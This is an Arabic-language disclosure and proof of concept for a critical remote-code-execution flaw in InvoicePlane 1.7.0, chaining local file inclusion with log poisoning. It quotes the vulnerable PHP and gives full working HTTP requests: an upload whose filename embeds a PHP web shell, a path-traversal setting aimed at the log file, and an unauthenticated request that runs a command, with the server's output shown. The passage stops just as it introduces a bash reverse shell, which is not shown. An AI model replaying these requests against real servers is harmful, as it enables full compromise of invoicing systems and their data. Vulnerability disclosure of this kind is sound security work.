
# تفاصيل تقنية وإثبات مفهوم لـ CVE-2026-25548، ثغرة تنفيذ أوامر عن بُعد حرجة في InvoicePlane 1.7.0 عبر تضمين الملفات المحلية وتسميم السجلات، بما في ذلك سلسلة الهجوم وطلبات إثبات المفهوم وتحليل الأثر.
الثغرة: تنفيذ الأوامر عن بُعد عبر تضمين الملفات المحلية + تسميم السجلات
المنتج: InvoicePlane
الإصدار المتأثر: 1.7.0 (ومن المحتمل الإصدارات السابقة)
الخطورة: حرجة
درجة CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
اكتشفها: Leonidas Agathos
تاريخ التقرير: 2026-01-31
سلسلة ثغرات حرجة في InvoicePlane 1.7.0 تسمح لمسؤول مصادق بتحقيق تنفيذ الأوامر عن بُعد (RCE) على الخادم الأساسي. يجمع الهجوم بين ضعفين:
.php، مما يسمح بحقن كود PHP عشوائي.عند دمجها، يمكن لمهاجم بصلاحيات مسؤول تحقيق اختراق كامل للخادم كمستخدم خادم الويب. مشغل RCE النهائي غير مصادق (رابط الفاتورة العامة).
| السمة | القيمة |
|---|---|
| الملف | application/modules/guest/controllers/View.php |
| الأسطر | 85, 191 |
| المعامل | public_invoice_template (إعداد قاعدة البيانات) |
| CWE | CWE-98: تحكم غير صحيح في اسم الملف لعبارة Include/Require |
الكود المعرض للثغرة (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
الكود المعرض للثغرة (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
يتم استرداد إعدادات public_invoice_template و public_quote_template من قاعدة البيانات وربطها مباشرة في مسار ملف يُمرر إلى load->view() الخاص بـ CodeIgniter (والذي يتحول إلى include() في PHP). لا يوجد أي تحقق من:
../)يمكن للمسؤول تعيين هذه القيمة إلى أي مسار على نظام الملفات، مقيدًا فقط بامتداد .php الذي يُضاف تلقائيًا.
| السمة | القيمة |
|---|---|
| الملف | application/modules/upload/controllers/Upload.php |
| الأسطر | 178–184 |
| المعامل | اسم الملف المرفوع (بيانات نموذج HTTP متعدد الأجزاء) |
| CWE | CWE-117: تحييد مخرجات غير صحيح للسجلات |
الكود المعرض للثغرة (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
عندما يؤدي اسم الملف إلى تشغيل فحص اجتياز المسار، يتم كتابة اسم الملف الخام غير المعقم مباشرة في ملف السجل. ملفات سجلات CodeIgniter:
.php: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>المهاجم الذي يضمّن <?php system($_GET[1]); ?> في اسم الملف يتسبب في كتابة هذا الحمولة في السجل وتنفيذه لاحقًا عبر LFI.
[مستخدم مصادق] → رفع اسم ملف خبيث → حقن PHP في ملف السجل
[مسؤول] → تعيين إعداد القالب → LFI يشير إلى ملف السجل
[أي شخص] → زيارة رابط الفاتورة العامة → RCE
| الخطوة | المتطلب |
|---|---|
| تسميم السجلات | مستخدم مصادق بصلاحية رفع الملفات |
| تكوين LFI | حساب مسؤول |
| مشغل RCE | غير مصادق (رابط الفاتورة العامة) |
أرسل طلب رفع ملف مع قشرة ويب PHP مضمّنة في اسم الملف. سيعمل فحص اجتياز المسار ويكتب اسم الملف الخام (بما في ذلك حمولة PHP) إلى ملف السجل.
الطلب (عبر Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
يرفض الخادم الرفع (upload_error_invalid_extension) ولكن إدخال السجل يُكتب بالفعل:
النتيجة في application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
انتقل إلى قسم المرفقات في فاتورة وانقر على إضافة ملفات للوصول إلى نقطة نهاية الرفع.



كمسؤول، قم بتعيين إعداد public_invoice_template للإشارة إلى ملف سجل اليوم باستخدام حمولة اجتياز المسار. مُحمّل العرض في CodeIgniter يضيف .php تلقائيًا.
الطلب (عبر Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
يتم حل مسار الاجتياز من application/views/invoice_templates/public/ إلى application/logs/، ثم يتضمن log-2026-01-31.php.

قم بالوصول إلى أي رابط فاتورة عامة مع تمرير أمر كمعامل GET 1. لا يتطلب ذلك أي مصادقة.
الطلب:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
الاستجابة (في مصدر الصفحة):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
حمولة system($_GET[1]) تنفذ أمر id وينعكس مخرجه مباشرة في الصفحة.

استبدل الأمر بحمولة صدفة عكسية bash للحصول على صدفة تفاعلية: